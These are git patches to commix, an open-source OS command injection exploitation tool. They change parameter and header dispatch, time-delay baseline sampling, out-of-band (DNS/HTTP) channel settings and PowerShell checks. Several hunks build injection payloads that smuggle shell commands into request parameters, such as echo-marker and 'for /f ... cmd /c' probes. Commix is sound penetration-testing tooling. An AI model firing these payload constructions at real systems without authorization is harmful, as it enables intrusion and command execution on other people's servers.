on the server long before the next poll would bring it in, and a wait is the part of a run that +# has something to wait for - so it asks harder than the idle poller does. +OOB_WAIT_POLL_INTERVAL = 2 +OOB_CHANNEL = None +OOB_TRANSPORT = "" +# The client the heuristic saw answer, tried first by the technique that follows it. +OOB_HEURISTIC_TRANSPORT = "" + +# How many times a command's output is asked for over a name lookup before giving up on it. +OOB_DNS_ATTEMPTS = 2 +# The HTTP clients the heuristic asked and never heard from, through a payload a name lookup proved +# had run. The sweep leaves those out and leads with the lookup instead of paying for them again. +OOB_HEURISTIC_HTTP_SILENT = [] +OOB_EVAL = False +# Payloads reach the server over the same scheme it is polled on, so that command output is not +# sent in the clear unless the user asked for a plain-HTTP server. +OOB_SCHEME = "https" +# The port the payload's URL carries, when the out-of-band server is not on the scheme's own one. +OOB_PORT = None +# An out-of-band payload never reads the response, so a target that takes too long to answer has +# not failed - the interaction arrives on its own. Set once the channel is up. +OOB_IGNORE_TIMEOUT = False +# Seconds to wait on a probe's response before moving on. Some clients block for tens of seconds +# ('certutil' well past a minute), which would make a sweep take hours for nothing. +OOB_PROBE_TIMEOUT = 5 +# Seconds the heuristic keeps waiting for an HTTP client once a name lookup has already answered, +# so the sweep is handed the client that can carry a command's output back whole. +OOB_HTTP_GRACE = 4 +# How many of a sweep's first combinations are polled for eagerly, instead of waiting out the +# interval. The likeliest boundary comes first, so this usually ends the sweep after a few probes. +OOB_EAGER_POLLS = 3 +SHELLSHOCK_OOB = False + +# The tamper-count warning is per run, not per technique announcement. +TAMPER_WARNING_SHOWN = False + +""" +The TLS context for target requests - a target's certificate is routinely self-signed or expired. +""" +def unverified_context(): + import ssl + return ssl._create_unverified_context() + +""" +The TLS context for commix's own infrastructure calls, which are verified. +""" +def verified_context(): + import os, ssl + context = ssl.create_default_context() + paths = ssl.get_default_verify_paths() + if not (paths.cafile or paths.capath): + for bundle in ("/etc/ssl/cert.pem", "/etc/ssl/certs/ca-certificates.crt", + "/etc/pki/tls/certs/ca-bundle.crt", "/usr/local/etc/openssl/cert.pem"): + if os.path.exists(bundle): + return ssl.create_default_context(cafile=bundle) + return context +SKIP_OOB_INJECTIONS = False + # Raised by checks.handle_detection_interrupt() to unwind to the right point # in the detection loop. class SkipTechniqueException(Exception): @@ -1226,6 +1299,8 @@ def strip_ansi_codes(text): PENDING_OS_SHELL_ENTRY = None # Guards the resumed-session log notice against quit()'s recursion. LOGS_NOTIFICATION_SHOWN = False +# Set once a finding is worth suggesting '--os-shell' for, printed where the run ends. +OS_SHELL_SUGGESTION_PENDING = False # Path to file containing desktop/browser User-Agent strings USER_AGENT_LIST = os.path.join(TXT_DIR, "user-agents.txt") @@ -1440,6 +1515,11 @@ class END_LINE: MIN_TIME_RESPONSES = 30 MAX_TIME_RESPONSES = 200 RESPONSE_TIMES = [] +# Set once a time-related payload's own cost has been sampled into the model above. +PAYLOAD_BASELINE_SAMPLED = False +# Whether the model above was sampled the way the payloads that follow are sent - concurrently, +# where '--threads' asks for it. A target answers a request slower while it is serving others. +CONCURRENT_BASELINE = False LAGGING_CHECKED = False LAGGING_DETECTED = False TIME_DELAY_CANDIDATES = 3 diff --git a/src/utils/update.py b/src/utils/update.py index 311d1aa4a5..8b0203498c 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -112,7 +112,7 @@ def updater(): """ def check_for_update(): try: - response = _urllib.request.urlopen('https://raw.githubusercontent.com/commixproject/commix/master/src/utils/settings.py', timeout=settings.TIMEOUT) + response = _urllib.request.urlopen('https://raw.githubusercontent.com/commixproject/commix/master/src/utils/settings.py', timeout=settings.TIMEOUT, context=settings.verified_context()) try: version_check = response.readlines() finally: diff --git a/src/utils/version.py b/src/utils/version.py index a4a7a56ea4..d2846b6117 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -29,9 +29,10 @@ def show_version(): def python_version(): PYTHON_VERSION = sys.version.split()[0] if PYTHON_VERSION.split(".")[0] != "3": - warn_msg = "Deprecated Python version detected: " - warn_msg += PYTHON_VERSION + ". " - warn_msg += "Re-run with Python 3." - settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) + err_msg = "Unsupported Python version detected: " + err_msg += PYTHON_VERSION + ". " + err_msg += "commix requires Python 3.7 or later." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() # eof \ No newline at end of file From 12a779c340c1ad7e2717db6c3ea62cdb96717c02 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 8 Sep 2026 06:19:02 +0300 Subject: [PATCH 0768/1023] Only marked HTTP headers are tested, and GET/POST/cookie parameters named like a header (e.g. 'host') are no longer treated as headers --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 31 +++++++ src/core/injections/controller/controller.py | 87 ++++++++++---------- src/utils/settings.py | 14 +++- 4 files changed, 87 insertions(+), 46 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 13b2d1b3bb..f35ef91e2e 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Fixed: Only marked HTTP headers are tested, and GET/POST/cookie parameters named like a header (e.g. 'host') are no longer treated as headers. * Revised: Improved reliability across the supported injection techniques and modules, including out-of-band (OAST) detection and command execution support. * Added: New `-o` switch to turn on all optimization switches. * Added: Persistent (Keep-Alive) connections are now used by default, with a new `--no-keep-alive' switch to opt out. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 96969be6d6..5a714652b4 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1790,9 +1790,40 @@ def parse_parameter_list(raw): if menu.options.skip_parameter: settings.SKIP_PARAMETERS_LIST = parse_parameter_list(menu.options.skip_parameter) + """ -p is an exclusive allowlist, --skip a blocklist, neither given tests everything. """ +""" +Whether a parameter has already been tested, in the place it is carried in. +""" +def already_tested(place, check_parameter): + return tested_parameter_name(place, check_parameter) in settings.TESTED_PARAMETERS_LIST + +""" +What a parameter is remembered as - the place it is carried in and its name, so that the same name +in two places is two parameters. Written and read through here, or the two drift apart. +""" +def tested_parameter_name(place, check_parameter): + return str(place) + ":" + str(check_parameter) + +""" +Whether any of the given names asks for the header, under any of the names that header answers to. +""" +def header_named(header, names): + if not names: + return False + if isinstance(names, str): + names = [names] + wanted = [str(_).lower() for _ in names] + return any(alias in wanted for alias in settings.HTTP_HEADER_ALIASES.get(header, (header.lower(),))) + +""" +Whether any standard header was asked for by name. +""" +def any_header_named(names): + return any(header_named(header, names) for header in settings.HTTP_HEADER_ALIASES) + def is_parameter_testable(name): if settings.TESTABLE_PARAMETERS_LIST: return name in settings.TESTABLE_PARAMETERS_LIST diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 2c47598eb9..b48b44fd3c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -120,7 +120,7 @@ def check_for_stored_sessions(url, check_parameter, http_request_method): """ Heuristic request(s) """ -def heuristic_request(url, http_request_method, check_parameter, payload, whitespace): +def heuristic_request(url, http_request_method, check_parameter, payload, whitespace, place): data = None cookie = None tmp_url = url @@ -157,7 +157,9 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites request = _urllib.request.Request(tmp_url, data, method=http_request_method) if cookie: request.add_header(settings.COOKIE, cookie) - if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): + # The payload is carried by the header itself here - 'headers.do_check' leaves the header alone + # while its injection flag is set, so that this is the only value it is given. + if check_parameter_in_http_header(check_parameter, place): settings.CUSTOM_HEADER_NAME = check_parameter.title() if settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "") in settings.CUSTOM_HEADER_VALUE: request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "").replace(settings.CUSTOM_HEADER_VALUE, payload).encode(settings.DEFAULT_CODEC)) @@ -179,7 +181,7 @@ def announce_heuristic_finding(possible_os): """ Heuristic (basic) test for command injection """ -def command_injection_heuristic_basic(url, http_request_method, check_parameter): +def command_injection_heuristic_basic(url, http_request_method, check_parameter, place): check_parameter = check_parameter.lstrip().rstrip() checks.perform_payload_modification(payload="") basic_payload_generator() @@ -197,7 +199,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter) _ = 0 for payload in basic_payloads: _ = _ + 1 - response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) + response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace, place) if type(response) is not bool and response is not None: html_data = checks.process_page_content(response, action="decode") match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) @@ -226,7 +228,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter) '--oob' exists for. Without this, such a parameter is reported as probably not injectable - and with '--smart' it would be skipped outright. """ -def oob_heuristic_basic(url, http_request_method, check_parameter): +def oob_heuristic_basic(url, http_request_method, check_parameter, place): from src.core.injections.blind.techniques.oob import oob_payloads as oob_payloads channel = checks.init_oob_channel() @@ -244,7 +246,7 @@ def oob_heuristic_basic(url, http_request_method, check_parameter): payload, probes = oob_payloads.heuristic_payload(channel, target_os) if settings.VERBOSITY_LEVEL != 0: settings.print_data_to_stdout(settings.print_payload(payload)) - heuristic_request(url, http_request_method, check_parameter, payload, settings.WHITESPACES[0]) + heuristic_request(url, http_request_method, check_parameter, payload, settings.WHITESPACES[0], place) attempts.append((target_os, probes)) # A name lookup beats an HTTPS round trip almost every time, so the client that answers first is @@ -306,7 +308,7 @@ def _http_first(): """ Heuristic (basic) test for code injection warnings """ -def code_injections_heuristic_basic(url, http_request_method, check_parameter): +def code_injections_heuristic_basic(url, http_request_method, check_parameter, place): check_parameter = check_parameter.lstrip().rstrip() injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CE technique = settings.INJECTION_TECHNIQUE.DYNAMIC_CODE @@ -316,7 +318,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter): whitespace = settings.SINGLE_WHITESPACE if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO): for payload in settings.PHPINFO_CHECK_PAYLOADS: - response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) + response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace, place) if type(response) is not bool and response is not None: html_data = checks.process_page_content(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) @@ -428,10 +430,11 @@ def exploit(): """ Check parameter in HTTP header. """ -def check_parameter_in_http_header(check_parameter): +def check_parameter_in_http_header(check_parameter, place): inject_http_headers = False - if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ - check_parameter.lower() in settings.CUSTOM_HEADER_NAME.lower(): + # Answered from the place the parameter was dispatched from, never from what it is called: a + # field named after a header is still a field, and a header is one wherever its value came from. + if place in settings.HTTP_HEADER_PLACES: if settings.ACCEPT_VALUE not in settings.CUSTOM_HEADER_VALUE: inject_http_headers = True else: @@ -583,7 +586,7 @@ def build(value): """ Proceed to the injection process for the appropriate parameter. """ -def injection_process(url, check_parameter, http_request_method, filename, timesec): +def injection_process(url, check_parameter, http_request_method, filename, timesec, place): settings.NOT_TESTABLE_PARAMETERS = False check_parameter_dynamism(url, http_request_method, check_parameter) @@ -602,7 +605,7 @@ def injection_process(url, check_parameter, http_request_method, filename, times settings.LOAD_SESSION = None basic_level_checks() - inject_http_headers = check_parameter_in_http_header(check_parameter) + inject_http_headers = check_parameter_in_http_header(check_parameter, place) if inject_http_headers: checks.define_vulnerable_http_header(check_parameter) @@ -657,7 +660,7 @@ def _ensure_time_warmup(): else: settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(inject_parameter) - if check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST and not http_request_method + ":" + check_parameter in settings.TESTED_PARAMETERS_LIST: + if check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST and not checks.already_tested(place, check_parameter): settings.CHECKING_PARAMETER = "(custom) " + settings.CHECKING_PARAMETER if not settings.LOAD_SESSION: @@ -676,16 +679,16 @@ def _ensure_time_warmup(): try: if not (len(menu.options.tech) == 1 and "e" in menu.options.tech): - url = command_injection_heuristic_basic(url, http_request_method, check_parameter) + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, place) # Asked for out-of-band, so probe the channel either way: whether the target can reach it # at all, and over which client, is a separate question from whether it is injectable. if menu.options.oob: - url = oob_heuristic_basic(url, http_request_method, check_parameter) + url = oob_heuristic_basic(url, http_request_method, check_parameter, place) if not settings.IDENTIFIED_COMMAND_INJECTION and "e" in menu.options.tech: # Check for identified warnings - url = code_injections_heuristic_basic(url, http_request_method, check_parameter) + url = code_injections_heuristic_basic(url, http_request_method, check_parameter, place) except KeyboardInterrupt: try: checks.handle_detection_interrupt(filename, url) @@ -821,7 +824,7 @@ def inject_header(header_attr, option_attr, injection_flag_attr): reset_flag = check_parameter != header_name if not reset_flag: try: - reset_flag = not injection_process(new_url, check_parameter, http_request_method, filename, timesec) + reset_flag = not injection_process(new_url, check_parameter, http_request_method, filename, timesec, getattr(settings, header_attr)) except settings.NextParameterException: reset_flag = True if reset_flag: @@ -830,19 +833,27 @@ def inject_header(header_attr, option_attr, injection_flag_attr): # Restore the original option value setattr(menu.options, option_attr, original_value) + # If no specific test or skip parameters and no injection flags are set, test all headers + no_injection_flags = not settings.USER_AGENT_INJECTION and not settings.REFERER_INJECTION and not settings.HOST_INJECTION + no_test_or_skip = menu.options.test_parameter is None and menu.options.skip_parameter is None + # Determine whether a header should be tested for injection def test_header(header_attr): - header_value = getattr(settings, header_attr).lower() - # Check if the corresponding injection flag is already active if getattr(settings, header_attr.upper() + "_INJECTION"): return True - return checks.is_parameter_testable(header_value) + # A marker naming one header asks for that header - the others are reached only when nothing + # named a specific one, or the rest would be tested off the back of a request for this one. + if not no_injection_flags: + return False - # If no specific test or skip parameters and no injection flags are set, test all headers - no_injection_flags = not settings.USER_AGENT_INJECTION and not settings.REFERER_INJECTION and not settings.HOST_INJECTION - no_test_or_skip = menu.options.test_parameter is None and menu.options.skip_parameter is None + # Named as it is written: 'ua', 'useragent' and 'user-agent' all ask for the same header. + if settings.TESTABLE_PARAMETERS_LIST: + return checks.header_named(getattr(settings, header_attr), settings.TESTABLE_PARAMETERS_LIST) + if settings.SKIP_PARAMETERS_LIST: + return not checks.header_named(getattr(settings, header_attr), settings.SKIP_PARAMETERS_LIST) + return True # Test already-confirmed headers first, not in fixed order. headers = ["USER_AGENT", "REFERER", "HOST"] @@ -936,7 +947,7 @@ def define_check_parameter(param, current_url): Return a unique identifier for the parameter by prefixing it with the data type. """ def get_contextual_name(check_param): - return str(data_type) + ":" + str(check_param) + return checks.tested_parameter_name(data_type, check_param) """ Perform the injection call and update tested parameters. @@ -945,7 +956,8 @@ def injection_call(url, check_param): contextual_name = get_contextual_name(check_param) url, check_param = define_check_parameter(found[index], url) url, check_param = check_for_stored_sessions(url, check_param, http_request_method) - injection_process(url, check_param, http_request_method, filename, timesec) + # Dispatched as a GET, POST or Cookie parameter, and tested as one whatever it is named. + injection_process(url, check_param, http_request_method, filename, timesec, data_type) settings.TESTED_PARAMETERS_LIST.append(contextual_name) check_parameters = [] @@ -1002,7 +1014,6 @@ def has_stored_session(check_param): Check if HTTP Method is GET. """ def get_request(url, http_request_method, filename, timesec): - found_url = parameters.do_GET_check(url, http_request_method) if found_url != False: @@ -1061,7 +1072,7 @@ def cookies_checks(url, http_request_method, filename, timesec): Perform checks over HTTP Headers parameters. """ def headers_checks(url, http_request_method, filename, timesec): - if len([i for i in settings.TESTABLE_PARAMETERS_LIST if i in settings.HTTP_HEADERS]) != 0 or \ + if checks.any_header_named(settings.TESTABLE_PARAMETERS_LIST) or \ settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS or \ settings.HTTP_HEADERS_INJECTION: if not settings.SKIP_NON_CUSTOM_PARAMS: @@ -1082,7 +1093,7 @@ def custom_headers_checks(url, http_request_method, filename, timesec): settings.CUSTOM_HEADER_VALUE = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1].replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) try: - if check_parameter != header_name or not injection_process(url, check_parameter, http_request_method, filename, timesec): + if check_parameter != header_name or not injection_process(url, check_parameter, http_request_method, filename, timesec, settings.CUSTOM_HEADER_PLACE): settings.CUSTOM_HEADER_INJECTION = False except settings.NextParameterException: settings.CUSTOM_HEADER_INJECTION = False @@ -1198,22 +1209,8 @@ def perform_checks(url, http_request_method, filename): settings.COOKIE_INJECTION = True cookies_checks(url, http_request_method, filename, timesec) - # Prepare headers list to evaluate whether header injection should be attempted. - testable = settings.TESTABLE_PARAMETERS_LIST - if isinstance(testable, str): - testable = [testable] - - testable_lower = [t.lower() for t in testable if isinstance(t, str)] - - header_flags = [ - settings.USER_AGENT, - settings.REFERER, - settings.HOST - ] - - # Check if any header flag is within the testable parameters list. - header_found = any(isinstance(h, str) and \ - h.lower() in testable_lower for h in header_flags) + # Whether a standard header was asked for by name, under any of the names it answers to. + header_found = checks.any_header_named(settings.TESTABLE_PARAMETERS_LIST) # Decide if header-based injection should be tested. header_check = (settings.TESTABLE_PARAMETERS_LIST or \ diff --git a/src/utils/settings.py b/src/utils/settings.py index af3691428c..a60c367b2b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -328,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "111" +REVISION = "112" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1656,6 +1656,18 @@ class END_LINE: HTTP_HEADERS = [ USER_AGENT.lower(), REFERER.lower(), HOST.lower() ] SHELLSHOCK_HTTP_HEADERS =[ COOKIE, USER_AGENT, REFERER ] +# Where a payload is carried, named by whatever dispatched the parameter rather than worked out +# from its name - a body field called 'host' is a body field, not the header it shares a name with. +CUSTOM_HEADER_PLACE = "(custom) HEADER" +HTTP_HEADER_PLACES = [ USER_AGENT, REFERER, HOST, CUSTOM_HEADER_PLACE ] + +# The names a standard header answers to, so '-p'/'--skip-parameter' can name one as it is written. +HTTP_HEADER_ALIASES = { + USER_AGENT : ( "ua", "useragent", "user-agent" ), + REFERER : ( "ref", "referer", "referrer" ), + HOST : ( "host", ), + } + IGNORE_JSON_CHAR_REGEX = r"[{}\"\[\]]" FLATTEN_JSON_SEPARATOR = ''.join(random.choice("{}") for _ in range(10)) + "_" From 35984066fec7e167a9fc4ee8c7e83db017b25b5a Mon Sep 17 00:00:00 2001 From: Mehdi Boutayeb <mehdi.boutayeb@asc-it.fr> Date: Tue, 8 Sep 2026 16:58:27 +0200 Subject: [PATCH 0769/1023] CI: bump actions/checkout to v4 and actions/setup-python to v5 The build workflow pins actions/checkout@v2 and actions/setup-python@v2, which run on the Node.js 16 runtime that GitHub has deprecated. Runs now emit deprecation annotations and the Node 16 based actions are being phased out. Bumping to checkout@v4 and setup-python@v5 (Node 20) removes the warnings; the step inputs are unchanged and both versions still support the pypy-2.7 and 3.12 matrix entries. --- .github/workflows/builds.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/builds.yml b/.github/workflows/builds.yml index 9158aa3f92..1f36b18c07 100644 --- a/.github/workflows/builds.yml +++ b/.github/workflows/builds.yml @@ -12,9 +12,9 @@ jobs: os: [ubuntu-latest, macos-latest, windows-latest] python-version: [ 'pypy-2.7', '3.12' ] steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v4 - name: Set up Python - uses: actions/setup-python@v2 + uses: actions/setup-python@v5 with: python-version: ${{ matrix.python-version }} - name: Basic import test From 2dc0a5bb1955152290e481842d8250150ea32c5a Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 9 Sep 2026 06:19:00 +0300 Subject: [PATCH 0770/1023] Trivial update --- .../blind/techniques/oob/oob_payloads.py | 2 +- src/core/injections/controller/checks.py | 72 ++++++++++++++----- src/core/injections/controller/controller.py | 4 +- src/core/injections/controller/handler.py | 4 +- src/core/injections/controller/injector.py | 25 ++++--- .../techniques/classic/cb_payloads.py | 16 ++--- .../techniques/eval_based/eb_payloads.py | 2 +- .../techniques/file_based/fb_payloads.py | 8 +-- .../techniques/tempfile_based/tfb_payloads.py | 4 +- src/utils/settings.py | 7 +- 10 files changed, 97 insertions(+), 47 deletions(-) diff --git a/src/core/injections/blind/techniques/oob/oob_payloads.py b/src/core/injections/blind/techniques/oob/oob_payloads.py index cc9cffde89..2c7fd6b9e8 100644 --- a/src/core/injections/blind/techniques/oob/oob_payloads.py +++ b/src/core/injections/blind/techniques/oob/oob_payloads.py @@ -281,7 +281,7 @@ def proof(transport, plus=PLUS): elif settings.TARGET_OS == settings.OS.WINDOWS: # 'set /a' is the only arithmetic cmd.exe has and it only writes its answer out, so the sum is # worked out first and read into the variable the command is then built around. - prologue = ("for /f \"tokens=*\" %i in ('cmd /c \"set /a " + str(first) + plus + str(second) + + prologue = ("for /f \"tokens=* eol=\" %i in ('cmd /c \"set /a " + str(first) + plus + str(second) + "\"') do ") return tag + "%i" + tag, tag + str(first + second) + tag, prologue elif settings.USE_BACKTICKS or settings.WAF_ENABLED: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 5a714652b4..8872fda1db 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1647,6 +1647,15 @@ def strip_time_outliers(values): """ Feed a genuinely non-delayed response time into the rolling baseline model. """ +def record_probe_response_time(exec_time): + settings.PROBE_RESPONSE_TIMES.append(exec_time) + if len(settings.PROBE_RESPONSE_TIMES) > settings.MAX_TIME_RESPONSES: + settings.PROBE_RESPONSE_TIMES[:] = settings.PROBE_RESPONSE_TIMES[-(settings.MAX_TIME_RESPONSES // 2):] + record_baseline_response_time(exec_time) + +""" +Record a plain request's response time +""" def record_baseline_response_time(exec_time): settings.RESPONSE_TIMES.append(exec_time) if len(settings.RESPONSE_TIMES) > settings.MAX_TIME_RESPONSES: @@ -1688,8 +1697,8 @@ def check_lagging(): """ Current adaptive delay threshold (mean + N*stdev of the baseline), or None if there's no data to compute a deviation from yet. """ -def current_delay_threshold(): - sample = strip_time_outliers(settings.RESPONSE_TIMES) +def _delay_threshold_from(times): + sample = strip_time_outliers(times) if len(sample) < 2: return None deviation = statistics.pstdev(sample) @@ -1699,6 +1708,17 @@ def current_delay_threshold(): margin = max(settings.TIME_STDEV_COEFF * deviation, mean * settings.MIN_RELATIVE_DELAY_MARGIN) return max(settings.MIN_VALID_DELAYED_RESPONSE, mean + margin) +def current_delay_threshold(): + threshold = _delay_threshold_from(settings.RESPONSE_TIMES) + # The payload costs more than a plain request - on the file-based path, two PowerShell launches + # more. Measured against a model those plain requests are also in, the threshold lands under what + # the payload costs with nothing held back, and every probe then reads as delayed. + if len(settings.PROBE_RESPONSE_TIMES) >= settings.MIN_PROBE_RESPONSES: + probe_threshold = _delay_threshold_from(settings.PROBE_RESPONSE_TIMES) + if probe_threshold is not None: + threshold = probe_threshold if threshold is None else max(threshold, probe_threshold) + return threshold + """ Time related shell condition. Uses the adaptive threshold once available, else a fixed one. """ @@ -2523,22 +2543,24 @@ def generate_char_pool(num_of_chars): Print powershell version """ def print_ps_version(ps_version, filename, _): - try: - settings.PS_ENABLED = True - ps_version = "".join(str(p) for p in ps_version) - if settings.VERBOSITY_LEVEL == 0 and _: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - # Output PowerShell's version number - info_msg = "Powershell version: " + ps_version - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) - logs.add_line(filename, info_msg, group="info") - logs.report_set_info("powershell_version", ps_version) - except ValueError: + ps_version = "".join(str(p) for p in ps_version).strip() + if settings.VERBOSITY_LEVEL == 0 and _: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + # A version has a number in it, so an answer without one means the command never ran. Taken as a + # version it leaves PowerShell marked as available, and every payload needing it quietly weakens. + if not re.search(r"\d", ps_version): warn_msg = "Failed to identify the version of Powershell, " warn_msg += "which means some payloads or injection techniques may fail." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.PS_ENABLED = False ps_check_failed() + return + settings.PS_ENABLED = True + # Output PowerShell's version number + info_msg = "Powershell version: " + ps_version + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + logs.add_line(filename, info_msg, group="info") + logs.report_set_info("powershell_version", ps_version) """ Print hostname @@ -2879,7 +2901,8 @@ def run_single_os_cmd(execute_cmd, filename): Print single OS command """ def print_single_os_cmd(cmd, output, filename): - if len(output) > 1: + # One character is an answer too - 'echo A' was reported as having returned nothing. + if len(output) > 0: settings.print_data_to_stdout(settings.print_retrieved_data("Execution output", output)) logs.executed_command(filename, cmd, output) else: @@ -3669,7 +3692,7 @@ def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_ """ Adjusts the timesec delay """ -def time_related_timesec(): +def min_safe_timesec(): # Scale the floor by confirmed instability. if settings.UNSTABLE_REQUEST_CHOICE: min_safe_delay = max(settings.MIN_SAFE_TIMESEC_UNSTABLE, settings.UNSTABLE_REQUEST_BUMPS) @@ -3677,6 +3700,13 @@ def time_related_timesec(): min_safe_delay = settings.MIN_SAFE_TIMESEC if settings.URL_TIME_RESPONSE: min_safe_delay = max(min_safe_delay, settings.URL_TIME_RESPONSE + settings.TIME_DELAY_STEP * 2) + return min_safe_delay + +""" +Adjusts the timesec delay +""" +def time_related_timesec(): + min_safe_delay = min_safe_timesec() if settings.TIME_RELATED_ATTACK and settings.TIMESEC < min_safe_delay: if settings.VERBOSITY_LEVEL != 0 and min_safe_delay != settings.REPORTED_MIN_SAFE_TIMESEC: settings.REPORTED_MIN_SAFE_TIMESEC = min_safe_delay @@ -3768,6 +3798,14 @@ def separator_chains(separator): """ WINDOWS_TAIL = WINDOWS_CHAIN + "rem" + settings.SINGLE_WHITESPACE +""" +The same tail, chained on whatever the payload itself started with. A payload that reaches for a +second separator is blocked wherever only its own one gets through, and the separator then reads as +not injectable. +""" +def windows_tail(chain): + return chain + "rem" + settings.SINGLE_WHITESPACE + """ The same, for a POSIX shell: '#' starts a comment, so an unterminated quote or a leftover argument after the payload is read as one too, instead of swallowing the payload's own last token. @@ -3825,9 +3863,9 @@ def windows_probe(chain, cmd, operator, expected, timesec): # a pipe spawns for its right-hand side has no command extensions, and 'EQU'/'GEQ' are one - the # test then never runs, no delay is asked for, and the separator reads as not injectable. return (chain + - "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do cmd /c if %i " + operator + + "for /f \"tokens=* eol=\" %i in ('cmd /c " + cmd + "') do cmd /c if %i " + operator + settings.SINGLE_WHITESPACE + str(expected) + settings.SINGLE_WHITESPACE + - windows_sleep(timesec) + WINDOWS_TAIL) + windows_sleep(timesec) + windows_tail(chain)) """ Report whether an interaction carries the result of the sum the payload asked the target to work diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index b48b44fd3c..fc8ce52865 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -74,8 +74,8 @@ def basic_payload_generator(): settings.ALTER_INTERPRETER_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_interpreter_basic_string + settings.CMD_SUB_SUFFIX + marker2 + "%26echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_interpreter_basic_string + settings.CMD_SUB_SUFFIX + marker2 + "|echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_interpreter_basic_string + settings.CMD_SUB_SUFFIX + marker2, - "|echo " + marker1 + "%26for /f \"tokens=*\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_interpreter_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "%26echo " + marker2 + - "%26echo " + marker1 + "%26for /f \"tokens=*\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_interpreter_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "%26echo " + marker2 + "|echo " + marker1 + "%26for /f \"tokens=* eol=\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_interpreter_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "%26echo " + marker2 + + "%26echo " + marker1 + "%26for /f \"tokens=* eol=\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_interpreter_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "%26echo " + marker2 ] settings.BASIC_COMMAND_INJECTION_RESULT = re.escape(marker1) + r"\s*" + re.escape(str(rand_a + rand_b)) + r"\s*" + re.escape(marker2) diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 87b7ffa53a..3cf6c57925 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -764,7 +764,7 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim if probe: try: probe_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, probe, "", http_request_method, url) - checks.record_baseline_response_time(probe_time) + checks.record_probe_response_time(probe_time) except (KeyboardInterrupt, SystemExit): raise except Exception: @@ -864,7 +864,7 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim continue else: # Feed the baseline model even during detection, not just later phases. - checks.record_baseline_response_time(exec_time) + 